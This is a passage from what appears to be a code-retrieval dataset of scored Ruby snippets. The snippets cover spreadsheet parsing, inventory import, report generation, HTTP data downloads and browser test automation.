t_row = [ text ]\n if t_end == 0\n t_table.add_row(t_row)\n end\n else\n item = text\n counter = 1\n end\n end\n else\n if t_end == 0\n value = text\n counter = 0\n t_row = [ item, value ]\n t_table.add_row(t_row)\n end\n end\n end\n end\n end\n end\n end\n end\n end\n end\n if t_table\n handle_output(t_table)\n handle_output(\"\\n\")\n end\n end\n return\nend", "title": "" }, { "docid": "fe8ca21911baa2bbbdeb96a90416f46f", "score": "0.505502", "text": "def get_xlss(specific_year=nil)\n STATES_WITH_DC.each do |state|\n puts \" DOWNLOADING #{state}...\"\n SPECS.each do |spec|\n year_collection = specific_year.nil? ? spec[:years] : [specific_year]\n year_collection.each do |year|\n File.write(\n get_filename(year, state.clone),\n Net::HTTP.get(URI.parse(get_url(year, state.clone)))\n )\n end\n end\n end\nend", "title": "" }, { "docid": "a663e97c1eedac31b3572a71cd653efa", "score": "0.5048747", "text": "def read_biofluids_sheet(workbook, sheet_number, first_row, headers)\n workbook.default_sheet = workbook.sheets[sheet_number]\n (first_row..workbook.last_row).each do |row|\n if (valid_row workbook,row, headers[:species], headers[:last_module])\n sample = self.biofluid_sample_manifests.build\n set_common_attributes sample, workbook, row, headers\n sample.matrix = strip_decimal workbook.cell(row,headers[:matrix]) \n sample.sample_volume = workbook.cell(row,headers[:sample_volume])\n sample.volume_units = workbook.cell(row,headers[:units]) \n end\n end\n end", "title": "" }, { "docid": "1cbbaec99bba7cda656300de8a9f6f64", "score": "0.5037513", "text": "def update_tobuy\n\n # we computed how many each univ needs elsewhere\n total = num_needed = [0, univ_inventory_infos.last.shortfall_one_week.to_f].max.to_i\n\n # only try to buy from good vendors\n prods = products.reject(&:hostile?)\n num_prods = prods.size.to_f\n num_good = prods.map { |p| p.num_circulating_copies }.sum\n\n # what's the target quantity for each product?\n # if we already have\n # prod1 -> 1 copy\n # prod2 -> 2 copies\n # prod3 -> 10 copies\n # ...and we need 5 new copies, then we're aiming for 18 copies total, and split evenly that'd be\n # prod1 -> 6 copies\n # prod2 -> 6 copies\n # prod3 -> 6 copies\n # ... so our \"target\" is 6 copies for each product\n #\n # XYZFIX P2 - can already see a bug here - we can't take prod3\n # down from 10, so our target is actually:\n # prod1 -> 4 copies\n # prod2 -> 4 copies\n # prod3 -> 10 copies\n #\n target_quant = (num_good + num_needed) / num_prods\n \n @@logger.info \" * #{sprintf(\"%-42s\", name)} - spreading #{num_needed} across #{num_prods.to_i} titles\" \n return if num_needed <= 0 \n \n # We want to add copies of things we're short of. \n # Sort the products with products with 0 copies up front, and prods w 100 copies at the end\n #\n prods.sort { |p1, p2| p1.num_circulating_copies <=> p2.num_circulating_copies }.each do |p|\n next if num_needed <= 0 \n \n num_to_add = (target_quant - p.num_circulating_copies ).round.to_i\n num_to_add = [num_to_add, num_needed].min.to_i\n \n if (num_to_add > 0) \n @@logger.info \" * adding #{num_to_add} (#{p.tobuy.quant} -> #{p.tobuy.quant + num_to_add}) to #{p.id} / #{p.name}\"\n \n # belt-and-suspenders\n p.update_tobuy if p.tobuy.nil?\n\n # update the tobuy\n #\n tb = p.tobuy \n tb.update_attributes!(:quant => (tb.quant + num_to_add))\n \n # note that we've applied some of the to-buy juice to this\n # product; less for next product\n #\n num_needed -= num_to_add\n end\n \n end\n\n return(total)\n end", "title": "" }, { "docid": "67c32fe24bdb217a968526bf3f23dcd6", "score": "0.5036196", "text": "def preparaEnvioSMSResultado\n\n workbook = Roo::Spreadsheet.open(@planilha_resultados)\n\n workbook.default_sheet = workbook.sheets[0]\n\n# Create a hash of the headers so we can access columns by name (assuming row\n# 1 contains the column headings). This will also grab any data in hidden\n# columns.\n headers = Hash.new\n workbook.row(1).each_with_index {|header,i|\n headers[header] = i\n }\n \n# Iterate over courses PRO and Sport\n 0.upto(1) do |i|\n workbook.default_sheet = workbook.sheets[i] # Setting default sheet for PRO and SPORT\n\n# Iterate over the rows using the `first_row` and `last_row` methods. Skip\n# the header row in the range.\n ((workbook.first_row + 1)..workbook.last_row).each do |row|\n\n# Get the column data using the column heading.\n#Fetch all data directly from spreadsheet Results_real\n matricula = workbook.row(row)[headers['PLAQUETA']]\n nome = workbook.row(row)[headers['NOME']]\n cod_categoria = workbook.row(row)[headers['COD CAT']]\n tempo = workbook.row(row)[headers['TEMPO PROVA']]\n fone = valida_fone(workbook.row(row)[headers['Celular']].to_s)\n pos_categoria = workbook.row(row)[headers['POSIÇAO CAT']]\n pos_geral = workbook.row(row)[headers['POSIÇAO GERAL']]\n\n if fone and matricula > 1710\n sendSmsResultado(nome, cod_categoria, tempo, fone, pos_categoria, pos_geral)\n # 1.upto(1000) {}\n\n end\n end \n end \n workbook.close\nend", "title": "" }, { "docid": "cfb7615d6f0cdca3930c764504420017", "score": "0.5033257", "text": "def import!\n data = REXML::Document.new(Net::HTTP.get('www.ecb.int', '/stats/eurofxref/eurofxref-daily.xml'))\n xp = REXML::XPath.first(data, '//Cube/Cube').to_a\n transaction do \n lock!\n xp.each do |currency| \n begin\n set_base_euro(\n currency.attribute('currency').value,\n currency.attribute('rate').value.to_f\n )\n rescue NoMethodError\n end\n end\n end\n end", "title": "" }, { "docid": "4924250e69da3605ab79bb1add971df7", "score": "0.50077957", "text": "def process_row\n self.product = Gemgento::Product.not_deleted.find_by(sku: row[header_row.index('sku').to_i])\n\n return if self.product.magento_type == 'configurable'\n Gemgento::Store.all.each do |store|\n inventory = self.product.inventories.find_or_initialize_by(store: store)\n\n inventory.use_config_manage_stock = true\n inventory.use_config_backorders = true\n inventory.use_config_min_qty = true\n\n header_row.each do |attribute|\n next unless Gemgento::Inventory.column_names.include?(attribute)\n\n value = value(attribute, Gemgento::Inventory.columns_hash[attribute].type)\n inventory.assign_attributes(attribute => value)\n end\n\n inventory.sync_needed = true\n\n unless inventory.save\n self.process_errors << \"Row ##{current_row}: #{inventory.errors[:base]}\"\n end\n end\n rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotUnique => e\n retries ||= 0\n if retries += 1 <= @stores.count\n retry\n else\n self.process_errors << \"Row ##{current_row}: #{e.message}\"\n end\n rescue Exception => e\n self.process_errors << \"Row ##{current_row}: #{e.message}\"\n end", "title": "" }, { "docid": "c74d64ce4f1c1fae22014a2c06d9569d", "score": "0.50048614", "text": "def process_stock(file, store)\n columns = [:product_id, :store_id, :quantity, :minimum]\n values = []\n\n File.foreach(file) do |line|\n barcode, quantity, minimum = line.chomp.force_encoding('UTF-8').split(':')\n\n values << [barcode.to_i, store.id, quantity.to_i, minimum.to_i]\n end\n\n Stock.import columns, values, validate: false\n end", "title": "" }, { "docid": "0f8d4aee8c129f0d51023415de7668c3", "score": "0.50027925", "text": "def pricing_sources\n excel_file_contents = Net::HTTP.get(URI(PRICING_SOURCES_URL))\n filename = File.basename(PRICING_SOURCES_URL)\n File.write(filename, excel_file_contents)\n\n # row headers are: Yellow Key Database,Pricing Source,Description\n # each row looks like this:\n # Equity,A0,Asset Match MTF\n begin\n s = SimpleSpreadsheet::Workbook.read(filename)\n s.selected_sheet = s.sheets.first\n rows = spreadsheet_rows(s)\n if rows.first.join(\",\") == PRICING_SOURCES_HEADER_ROW\n rows.drop(1).map do |row|\n PricingSource.new(row[0], row[1], row[2])\n end\n else\n raise \"The pricing sources spreadsheet, #{PRICING_SOURCES_URL}, doesn't conform to the expected row structure of: #{PRICING_SOURCES_HEADER_ROW}.\"\n end\n ensure\n File.delete(filename)\n end\n end", "title": "" }, { "docid": "f52771e2a3b0c9dba992b12b47435a26", "score": "0.4999983", "text": "def setup(file,rs_name = nil)\r\n systemos #Determine whether the OS is Chinese or English\r\n base_xl = (file).gsub('/','\\\\').chomp('rb')<<'xls'\r\n if(ARGV.length != 0) # called from controller\r\n excel = xls_timestamp(base_xl,nil,ARGV[2]) # called ,connect to existing excel instance. # ARGV[2] is the result sub-folder name.\r\n attach_ie(excel[1][2]) # test site ip\r\n else\r\n excel = xls_timestamp(base_xl,'ind',rs_name) # independent, start new excel instance\r\n open_ie(excel[1][2])\r\n support(excel[0])\r\n ver_info(excel[0])\r\n \r\n end\r\n return excel\r\n end", "title": "" }, { "docid": "7b0c3ba6136c6ea02456902a758e6bd9", "score": "0.49981007", "text": "def has_image_sku(row)\n sku = at_in(:sku,row)\n return find_file( sku)\n end", "title": "" }, { "docid": "80956135c737c05c4eec3235802d93b1", "score": "0.4992562", "text": "def extract_aged_receivables\n real_estate_property_id = RealEstateProperty.find_by_id(@options[:real_estate_id]).id\n # real_estate_property_id wants to be loaded here\n head = OpenStruct.new\n @base_cells.each do |rip|\n unless rip[1][\"sheet\"][\"name\"].include?(\"TASK\")\n #~ book.default_sheet = rip\n 1.upto find_last_base_cell(rip[0]) do |roww|\n if read_via_numeral(roww, 1,rip[0]) == 'bldg - lease #'\n 1.upto find_last_column(rip[0]) do |coll|\n case read_via_numeral(roww, coll,rip[0])\n when 'tenant'; head.tenant = coll\n when 'Amount'; head.amount = coll\n when 'Current'; head.current = coll\n when '30 Days'; head.days_30 = coll\n when '60 Days'; head.days_60 = coll\n when '90 Days'; head.days_90 = coll\n when '120 Days'; head.days_120 = coll\n end\n end\n head.start = roww\n break;\n end\n end\n break;\n end\n end\n @base_cells.each do |rip|\n if !rip[1][\"sheet\"][\"name\"].include?('TASK') # sheet title must contain 'AR' else not extracted\n sheet_date = read_via_numeral(3,1,rip[0]).nil? ? OpenStruct.new({:year=>nil, :month=>nil}) : (read_via_numeral(3,1,rip[0]).split(' ').last.to_date rescue read_via_numeral(3,1,rip[0]).split(' ').last.gsub('/','-').to_date) # Finding the month and year from excel\n year = sheet_date.year\n month = sheet_date.month\n ActiveRecord::Base.connection.execute(\"delete t1 from property_suites as t0, property_aged_receivables as t1 where t0.real_estate_property_id = #{real_estate_property_id} and t1.property_suite_id = t0.id and t1.month = #{month} and t1.year = #{year};\") unless month.nil? and year.nil?\n head.start.next.upto find_last_base_cell(rip[0]) do |row|\n next if read_via_numeral(row, head.tenant,rip[0]).nil? || read_via_numeral(row, head.tenant,rip[0]).empty?\n break if (read_via_numeral(row, head.tenant,rip[0]) == \"grand total:\" || read_via_numeral(row, head.tenant,rip[0]) == \"grand total\") # exits when see the grand total in excel.\n suite_id = read_via_numeral_abs(row, 1,rip[0]).nil? ? nil : read_via_numeral_abs(row, 1,rip[0]).to_s.gsub('.0', '')#.split(' ').last\n prop_suite = suite_id.nil? ? {'id' => nil} : PropertySuite.find_or_create_by_real_estate_property_id_and_suite_number(real_estate_property_id, suite_id)\n prop_aged_rec = PropertyAgedReceivable.new\n prop_aged_rec.property_suite_id = prop_suite['id']\n prop_aged_rec.tenant = read_via_numeral(row,head.tenant,rip[0])\n prop_aged_rec.amount = read_via_numeral(row,head.amount,rip[0])\n prop_aged_rec.paid_amount = read_via_numeral(row, head.current,rip[0])\n prop_aged_rec.over_30days = read_via_numeral(row, head.days_30,rip[0])\n prop_aged_rec.over_60days = read_via_numeral(row, head.days_60,rip[0])\n prop_aged_rec.over_90days = read_via_numeral(row, head.days_90,rip[0])\n prop_aged_rec.over_120days = read_via_numeral(row, head.days_120,rip[0])\n prop_aged_rec.month = month\n prop_aged_rec.year = year\n prop_aged_rec.save\n end unless month.nil? and year.nil?\n end\n end\n end", "title": "" }, { "docid": "b6267d7d4821067302d7e874ad7183ce", "score": "0.49910352", "text": "def ios_checkPPVorSVODorPurchased(client)\n\n\t\tbegin\n\t\t\tclient.sleep(1000)\n\t\t\tcnt = client.getElementCount(\"NATIVE\", \"xpath=//*[@class='UIView' and @height>0 and ./parent::*[@class='UNextMobile_Protected.ThumbPlayButton']]\")\n\t\t\tputs \"Number of contents found in the list is : #{cnt}\"\n\n\t\t\tfor i in 0..cnt - 1\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UIView' and @height>0 and ./parent::*[@class='UNextMobile_Protected.ThumbPlayButton']]\", i, 1)\t\t\t\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tif client.isElementFound(\"NATIVE\", \"text=見放題\") || client.isElementFound(\"NATIVE\", \"text=購入済み\")\n\t\t\t\t\tputs \"::MSG:: Using already BOUGHT or SVOD content for this test\"\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.PlayingStateView' and ./parent::*[./preceding-sibling::*[@class='UNextMobile_Protected.UNGradientView'] and ./parent::*[@class='UNextMobile_Protected.ThumbPlayButton']]]\", 0, 1)\n\t\t\t\t\tclient.sleep(20000)\n\t\t\t\t\t$obj_prcsp.ios_playbackCheckFromTitleDetails(client)\n\t\t\t\t\t$obj_histp.ios_leavingPlayer(client)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@accessibilityIdentifier='main_nav_close.png']\", 0, 1)\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\t$obj_rtnrs.returnNE\n\t\t\t\t\t$obj_rtnrs.printResult\n\t\t\t\t\t@@comment = \"::MSG::「uコインで購入操作まで行わず、一旦SVOD作品にて再度ご確認ください!!!\"\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@accessibilityIdentifier='main_nav_close.png']\", 0, 1)\t\t\t\t\t\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\tend\n\t\t\tend #for\n\t\trescue Exception => e\n\t\t\t$errMsgMlist = \"::MSG:: Exception occurrred at MyList, could not get playback time..: \" + e.message\n\t\tend\t\t\t\n\tend", "title": "" }, { "docid": "eb55fe402c29f1629cf79ac97a4d060f", "score": "0.498887", "text": "def readWorkbook\n # open the speadsheet\n workbook = Roo::Spreadsheet.open(params[:file], extension: :xlsx)\n\n workbook.default_sheet = 'Rating'\n\n @policy.effective= (workbook.cell('F',7) || \"1995-11-08\")\n @policy.expiry = @policy.effective + 1.year\n\n @policy.name= workbook.cell('C',3)\n if @policy.name.downcase.include?('llc') || @policy.name.downcase.include?('limited')\n @policy.org= \"LLC\"\n elsif @policy.name.downcase.include?('corp') || @policy.name.downcase.include?('inc')\n @policy.org= \"Corporation\"\n end\n\n @policy.dba= workbook.cell('B',4)\n @policy.street= workbook.cell('C',5)\n @policy.city= workbook.cell('B',6)\n @policy.state= workbook.cell('G',6)\n @policy.zip= workbook.cell('K',6).to_s.split('.')[0]\n\n # Property\n @policy.property.total= workbook.cell('M',41)\n\n # GL\n @policy.gl.limit_genagg= workbook.cell('F',67)\n @policy.gl.limit_products= workbook.cell('F',68)\n @policy.gl.limit_occurence= workbook.cell('F',69)\n @policy.gl.limit_injury= workbook.cell('F',70)\n @policy.gl.limit_fire= workbook.cell('F',71)\n @policy.gl.limit_medical= workbook.cell('F',72)\n\n # Crime\n @policy.crime.total= workbook.cell('M',62)\n @policy.crime.ded= workbook.cell('K',44)\n @policy.crime.limit_theft= workbook.cell('F',47)\n @policy.crime.limit_forgery= workbook.cell('F',48)\n @policy.crime.limit_money= workbook.cell('F',49)\n @policy.crime.limit_outside_robbery= workbook.cell('F',49)\n @policy.crime.limit_safe_burglary= workbook.cell('F',50)\n @policy.crime.limit_premises_burglary= workbook.cell('F',51)\n\n # don't duplicate locations if you repopulate\n # TODO: use finds & conditions to avoid destroy\n @policy.locations.destroy_all\n\n # Locations & Buildings\n bldg_params = []\n bldg_params << {\n number: 1,\n class_type: workbook.cell('C',76),\n code: workbook.cell('H',76).to_s.split('.')[0],\n basis: workbook.cell('I',76),\n basis_type: workbook.cell('K',76)\n }\n\n if (workbook.cell('A', 78) != nil)\n bldg_params << {\n number: 2,\n class_type: workbook.cell('C',78),\n code: workbook.cell('H',78).to_s.split('.')[0],\n basis: workbook.cell('I',78),\n basis_type: workbook.cell('K',78)\n }\n end\n\n loc_params = {\n number: 1,\n street: workbook.cell('C',10),\n city: workbook.cell('B',11),\n state: workbook.cell('G',11),\n zip: workbook.cell('K',11).to_s.split('.')[0],\n\n total: workbook.cell('N',33),\n loss_coverage: workbook.cell('D',12),\n enhancement: workbook.cell('D',19),\n mechanical: workbook.cell('D',20),\n theft: workbook.cell('D',18),\n spoilage: workbook.cell('F',17),\n coins: workbook.cell('L',14),\n valuation: workbook.cell('D',23),\n ded: workbook.cell('B',15),\n limt_bldg: workbook.cell('F',23),\n limit_bpp: workbook.cell('F',24),\n limit_earnings: workbook.cell('F',25),\n limit_sign: workbook.cell('F',26),\n limit_pumps: workbook.cell('F',27),\n limit_canopies: workbook.cell('F',28),\n indemnity: workbook.cell('D',25),\n\n buildings_attributes: bldg_params\n }\n @policy.locations.create!(loc_params);\n\n # Special Excel Versions\n if workbook.cell('N',111).to_i > 0\n @policy.total_premium= workbook.cell('N',111)\n @policy.gl.total= workbook.cell('N',101)\n @policy.auto.total= workbook.cell('N',109)\n else\n @policy.total_premium= workbook.cell('N',109)\n @policy.gl.total= workbook.cell('N',99)\n @policy.auto.total= workbook.cell('N',107)\n end\n end", "title": "" }, { "docid": "8354824fd2d902e4871a3c048beaf7e0", "score": "0.4988166", "text": "def process(file)\n file = File.expand_path(file)\n \n # Setup clients.\n bing_client = Binged::Client.new()\n \n # Open the spreadsheet.\n book = Spreadsheet.open(file)\n sheet = book.worksheet(0)\n \n # Read the headers.\n headers = sheet.row(0).map { |cell| cell.to_s }\n\n begin\n # Loop over the remaining rows and \n sheet.each(1) do |row|\n # Determine base options.\n options = {}\n headers.each_with_index do |header, index|\n case header\n when 'TERMS' then options[:terms] = row[index].to_s\n when 'SITE' then options[:site] = row[index].to_s\n end\n end\n \n # Perform searches on the rest of the columns.\n headers.each_with_index do |header, index|\n next unless header.index(/^[A-Z]+$/).nil?\n \n # Combine search terms.\n terms = \"#{options[:terms].to_s} #{header}\"\n \n # Only update the field if it's blank.\n if row[index].to_s =~ /^\\s*$/\n # Process using Bing.\n if providers.index(:bing)\n puts \"? #{terms} (#{options[:site]})\"\n search = bing_client.web.containing(terms)\n search.from_site(options[:site]) unless options[:site].nil?\n result = search.fetch.results[0..2].select {|result| URI.parse(result.url).path != '/' rescue false}.first\n\n if !result.nil?\n puts \"#{result.url}\\n\\n\"\n row[index] = result.url\n else\n puts \"\"\n end\n end\n\n # Process using Yahoo BOSS.\n if providers.index(:boss)\n puts \"BOSS: #{terms}\"\n BOSSMan::Search.web(terms, :count => 1)\n search = boss_client.web.containing(terms)\n result = search.results.first\n\n if !result.nil?\n puts \"#{result.url}\\n\\n\"\n row[index] = result.url\n else\n puts \"\"\n end\n end\n end\n end\n end\n \n # If an error occurs, save off the file before exiting.\n ensure\n # Backup original file & write over original file.\n FileUtils.mv(file, \"#{File.dirname(file)}/.#{File.basename(file)}\")\n book.write(file)\n end\n end", "title": "" }, { "docid": "bd89d16b582829d7b0ebf032ae6fc79f", "score": "0.49854267", "text": "def traspaso_interno(almacenOrigen, almacenDestino, sku, qty)\n url = URI(\"http://integracion-2016-prod.herokuapp.com/bodega/stock?almacenId=\" + almacenOrigen + \"&sku=\" + sku + \"&limit=199\" )\n http = Net::HTTP.new(url.host, url.port)\n request = Net::HTTP::Get.new(url)\n @hashi_get = 'INTEGRACION grupo12:'+generateHash('GET'+ almacenOrigen + sku).to_s\n request[\"authorization\"] = @hashi_get \n request[\"content-type\"] = 'multipart/form-data; boundary=---011000010111000001101001'\n request[\"cache-control\"] = 'no-cache'\n request[\"postman-token\"] = '2d38d414-b654-7ea2-d7f2-e1379efa0526'\n response = http.request(request)\n count = 0\n JSON.parse(response.body).each do |line|\n @producto_a_mover = line[\"_id\"].to_s\n puts @producto_a_mover\n puts \"moviendo a otra bodega\"\n mover_a_bodega(@producto_a_mover, almacenDestino) \n puts \"despachando...\"\n count += 1\n if count == qty\n break\n end\n end\nend", "title": "" }, { "docid": "b64df97193b968c4a9d83275e94d88a4", "score": "0.4984239", "text": "def load_products\n puts I18n.t(:reading, scope: [:spree, :spree_importer, :logs], filename: @filename) if Spree::Config.verbose\n\n start = Time.now\n begin\n open_spreadsheet\n rescue RuntimeError => e\n # ToDo - Corregir\n return e.message\n end\n puts I18n.t(:loading_file, scope: [:spree, :spree_importer, :logs], filename: @filename, time: Time.now - start) if Spree::Config.verbose\n\n\n start = Time.now\n\n failed_rows = []\n\n # Load each row element\n 2.upto(@spreadsheet.last_row).each do |row_index|\n Spree::Product.transaction do\n begin\n if Spree::Config.skip_if_product_exists and @product_identifier.exists?(@spreadsheet, row_index)\n puts I18n.t(:already_exists, scope: [:spree, :spree_importer, :logs], filename: @filename, row: row_index, rows: @spreadsheet.last_row, data: @spreadsheet.row(row_index))\n next\n end\n\n data = default_hash.deep_dup\n\n @mappers.each do |mapper|\n mapper.load @spreadsheet, row_index, data\n end\n\n before_make data\n make_products data\n make_variants data\n make_aditionals data\n after_make data\n\n if Spree::Config.verbose and row_index % Spree::Config[:log_progress_every] == 0\n puts I18n.t(:progress, scope: [:spree, :spree_importer, :logs], filename: @filename, time: Time.now - start, row: row_index, rows: @spreadsheet.last_row, data: data)\n start = Time.now\n end\n\n rescue RuntimeError => e\n puts I18n.t(:error, scope: [:spree, :spree_importer, :logs], filename: @filename, row: row_index, rows: @spreadsheet.last_row, data: data.inspect, message: e.message) if Spree::Config.verbose\n\n failed_rows << {row_index: row_index, message: e.message, data: data, backtrace: e.backtrace}\n\n raise ActiveRecord::Rollback\n rescue => e\n puts I18n.t(:error, scope: [:spree, :spree_importer, :logs], filename: @filename, row: row_index, rows: @spreadsheet.last_row, data: data.inspect, message: e.message) if Spree::Config.verbose\n\n failed_rows << {row_index: row_index, message: e.message, data: data, backtrace: e.backtrace}\n\n raise ActiveRecord::Rollback\n ensure\n\n end\n end\n end\n\n puts I18n.t(:done, scope: [:spree, :spree_importer, :logs], filename: @filename) if Spree::Config.verbose\n\n if failed_rows.empty?\n NotificationMailer.successfully(@filename).deliver\n else\n NotificationMailer.error(@filename, failed_rows).deliver\n end\n end", "title": "" }, { "docid": "401399b67c2c3ee34336fdc862a7aa52", "score": "0.4983301", "text": "def supplierwise_productpurchase_report\n \thome=Home.last\n\tif(home)\n\tprawn_logo = \"public/images/#{home.image_path}\"\n\n\telse\n\tprawn_logo = \"public/images/hs-gol.png\"\n\tend\n\tagency=params[:agency_name]\n\tif(agency)\n\t \tgoods = Goodsrecieptnotemaster.find(:all, :conditions=>\"invoice_date BETWEEN '#{params[:from_date]}' and '#{params[:to_date]}' AND agency_name LIKE '#{params[:agency_name]}%'\")\n\t\telse\n\tgoods = Goodsrecieptnotemaster.find(:all, :conditions=>\"invoice_date BETWEEN '#{params[:from_date]}' and '#{params[:to_date]}'\")\n end\n require 'rubygems'\n require 'thinreports'\n ThinReports::Report.generate_file('app/views/reports/supplierwise_productpurchase.pdf') do\n use_layout'app/views/reports/supplier_wise_pp.tlf'\n \n start_new_page do\n \n org_master_child=OrgMasterChildTable.last\n item(:image).value prawn_logo\n item(:address1).value org_master_child.address.split(\";\")[0]\n item(:address2).value org_master_child.address.split(\";\")[1]\n item(:address3).value org_master_child.address.split(\";\")[2]\n item(:address4).value org_master_child.address.split(\";\")[3] \n item(:report_name).value \"Supplier Wise Purchase Report\"\n item(:to_date).value Time.new.strftime(\"%d-%m-%Y %H:%M\") \n s_no=1\n free=0\n rate=0\n quantity=0\n net_amount=0\n \n for good in goods\n store_child=StoreChild.find(:all, :conditions=>\"goodsrecieptnotemaster_id LIKE '#{good.id}'\")\n for store in store_child\n report.page.list(:list).add_row do |row| \n\n row.item(:s_no).value s_no\n row.item(:invno).value good.invoice_number\n \n row.item(:date).value good.invoice_date\t\n row.item(:supply).value good.agency_name\n row.item(:product).value store.item_name\n row.item(:batch).value store.batch_no\n row.item(:pack).value store.packing\n row.item(:qty).value store.quantity.to_s\n row.item(:free).value store.free.to_s\n row.item(:expdt).value store.sale_rate.to_s\n row.item(:amt).value good.net_amount.to_s\n free=free+(store.free.to_f)\n rate=rate+(store.sale_rate.to_f)\n quantity=quantity+(store.quantity.to_f)\n net_amount=net_amount+(good.net_amount.to_f)\n \n end\n s_no=s_no+1\n item(:count).value s_no-1 \n item(:free).value \"%05.2f\" % free\n item(:rate).value \"%05.2f\" % rate\n item(:quantity).value \"%05.2f\" % quantity\n item(:net_amount).value \"%05.2f\" % net_amount\n item(:page_no).value 1\n end \n end\nend\n end\n redirect_to(\"/reports/supplierwise_productpurchase/1?format=pdf\")\n end", "title": "" }, { "docid": "f772ba0520235f7a39a4584dca02e088", "score": "0.49796495", "text": "def sos_pn_sortage\n if can?(:>=, \"2\")\n headers['Content-Type'] = \"application/vnd.ms-excel\"\n headers['Content-Disposition'] = \"attachment; filename=SOS Kit Shipped Report.xls\"\n headers['Cache-Control'] = ''\n\n # code to create xls file\n require 'writeexcel'\n workbook = WriteExcel.new(Rails.public_path+\"/excel/SOS Kit Shipped Report.xls\")\n worksheet = workbook.add_worksheet(\"kit_filling\")\n\n format = workbook.add_format\n partial_format = workbook.add_format\n empty_format = workbook.add_format\n align_right = workbook.add_format\n border = workbook.add_format\n\n format.set_bold\n empty_format.set_bg_color('red')\n empty_format.set_color('white')\n partial_format.set_bg_color('yellow')\n border.set_bottom(1)\n\n @row_value = 0\n @col_value = 0\n # create a table in xls file\n worksheet.set_column(0, 0, 20)\n worksheet.set_column(0, 1, 20)\n worksheet.set_column(0, 2, 20)\n worksheet.set_column(0, 3, 20)\n worksheet.set_column(0, 4, 20)\n worksheet.set_column(0, 5, 20)\n worksheet.set_column(0, 6, 20)\n worksheet.set_column(0, 7, 20)\n worksheet.set_column(0, 8, 20)\n\n worksheet.write(@row_value, 0,\"SOS Kit Shipped Report\",format)\n @row_value = @row_value+2\n worksheet.write(@row_value, 0,\"Kit Filling Id\", format)\n worksheet.write(@row_value, 1,\"Kit Copy No/Work Order\", format)\n worksheet.write(@row_value, 2,\"Part\", format)\n worksheet.write(@row_value, 3,\"Demand Qty\",format)\n worksheet.write(@row_value, 4,\"Filled Qty\",format)\n worksheet.write(@row_value, 5,\"SOS Part Quantity\",format)\n worksheet.write(@row_value, 6,\"Created By\",format)\n worksheet.write(@row_value, 7,\"Time\",format)\n worksheet.write(@row_value, 8,\"Date\",format)\n if ((params[\"sos_begin_date\"]) != \"\") and ((params[\"sos_end_date\"] != \"\"))\n @kit_order_fulfillment = Kitting::KitOrderFulfillment.find(:all,:conditions=>[\"filled_state in (0,2) and cust_no = ? and (created_at BETWEEN ? AND ?)\",current_customer.cust_no, Date.strptime(params[\"sos_begin_date\"].to_s, \"%m%d%Y\").midnight,Date.strptime(params[\"sos_end_date\"].to_s, \"%m%d%Y\").midnight + 1.day],:order=>\"created_at asc\")\n end\n unless @kit_order_fulfillment.blank?\n @kit_filling_id = []\n @kit_filling = []\n @kit_filling_id << @kit_order_fulfillment.map(&:kit_filling_id)\n @kit_filling_id= @kit_filling_id.flatten\n @kit_filling_id.in_groups_of(900) do |filling_group|\n @kit_filling << Kitting::KitFilling.find(:all,:conditions=>[\"kit_fillings.id IN (?) and kit_filling_details.filled_state in ('E','P')\",filling_group],:include =>[:kit_copy,:customer,{:kit_filling_details=>{:cup_part=>:part}}])\n end\n @kit_filling = @kit_filling.flatten if @kit_filling.present?\n\n @kit_filling.each do |kit_filling|\n if kit_filling.kit_copy.present?\n common_col = kit_filling.kit_copy.kit_version_number rescue \"\"\n else\n common_col = kit_filling.kit_work_order.work_order.order_number rescue \"\"\n end\n kit_filling.kit_filling_details.each do |kit_filling_details|\n @row_value = @row_value + 1\n unless kit_filling_details.try(:cup_part).blank?\n worksheet.write(@row_value,0,kit_filling.id)\n worksheet.write(@row_value,1,common_col)\n worksheet.write(@row_value,2,kit_filling_details.try(:cup_part).try(:part).try(:part_number))\n demand_qty = kit_filling_details.try(:cup_part).try(:demand_quantity)\n filled_qty = kit_filling_details.filled_quantity\n else\n worksheet.write(@row_value,2,\"-\")\n end\n demand_qty.present? ? worksheet.write(@row_value,3,demand_qty) : worksheet.write(@row_value,3,\"0\")\n demand_qty = (demand_qty == \"Water-Level\" || demand_qty == \"WL\") ? demand_qty : demand_qty = demand_qty.to_i\n if kit_filling_details.try(:filled_quantity) == \"WL\" || kit_filling_details.try(:filled_quantity)== \"S\" || kit_filling_details.try(:filled_quantity)== \"E\"\n filled_qty = kit_filling_details.try(:filled_quantity)\n elsif kit_filling_details.try(:filled_quantity).blank? || kit_filling_details.try(:filled_quantity).to_i== 0\n filled_qty = (demand_qty == \"Water-Level\" || demand_qty == \"WL\")? \"E\": kit_filling_details.try(:filled_quantity).to_i\n else\n filled_qty = kit_filling_details.try(:filled_quantity).to_i\n end\n worksheet.write(@row_value,4,filled_qty)\n if filled_qty == \"S\"\n worksheet.write(@row_value,5,demand_qty,partial_format)\n elsif filled_qty == \"E\"\n worksheet.write(@row_value,5,'WL',empty_format)\n elsif filled_qty == 0 || filled_qty.to_i > 0\n (filled_qty == 0)? worksheet.write(@row_value,5,demand_qty.to_i - filled_qty.to_i ,empty_format) : worksheet.write(@row_value,5,demand_qty.to_i - filled_qty.to_i ,partial_format)\n end\n worksheet.write(@row_value, 6,kit_filling.customer.user_name)\n worksheet.write(@row_value, 7,kit_filling.created_at.strftime(\"%I:%M%p\"))\n worksheet.write(@row_value, 8,kit_filling.created_at.to_date)\n end\n end\n worksheet.write(@row_value, border)\n end\n workbook.close\n send_file Rails.public_path+\"/excel/SOS Kit Shipped Report.xls\",\n :disposition => \"attachment\"\n else\n redirect_to main_app.unauthorized_url\n end\n end", "title": "" }, { "docid": "e1999b42aca72dfa774a001045afaf08", "score": "0.49752736", "text": "def task3(url)\n browser = Watir::Browser.new\n browser.window.resize_to(1920, 1280)\n browser.goto url\n begin\n products = browser.divs(:class => 'productblock')\n top10 = 0\n for product in products\n hyperlinkDiv = product.div(:class => 'product-info-inner')\n puts hyperlinkDiv.a.href\n productName = product.div(:id => 'prod-title-price').text\n productPrice = product.div(:class => 'price').text\n puts productName\n puts productPrice\n if top10 == 9\n 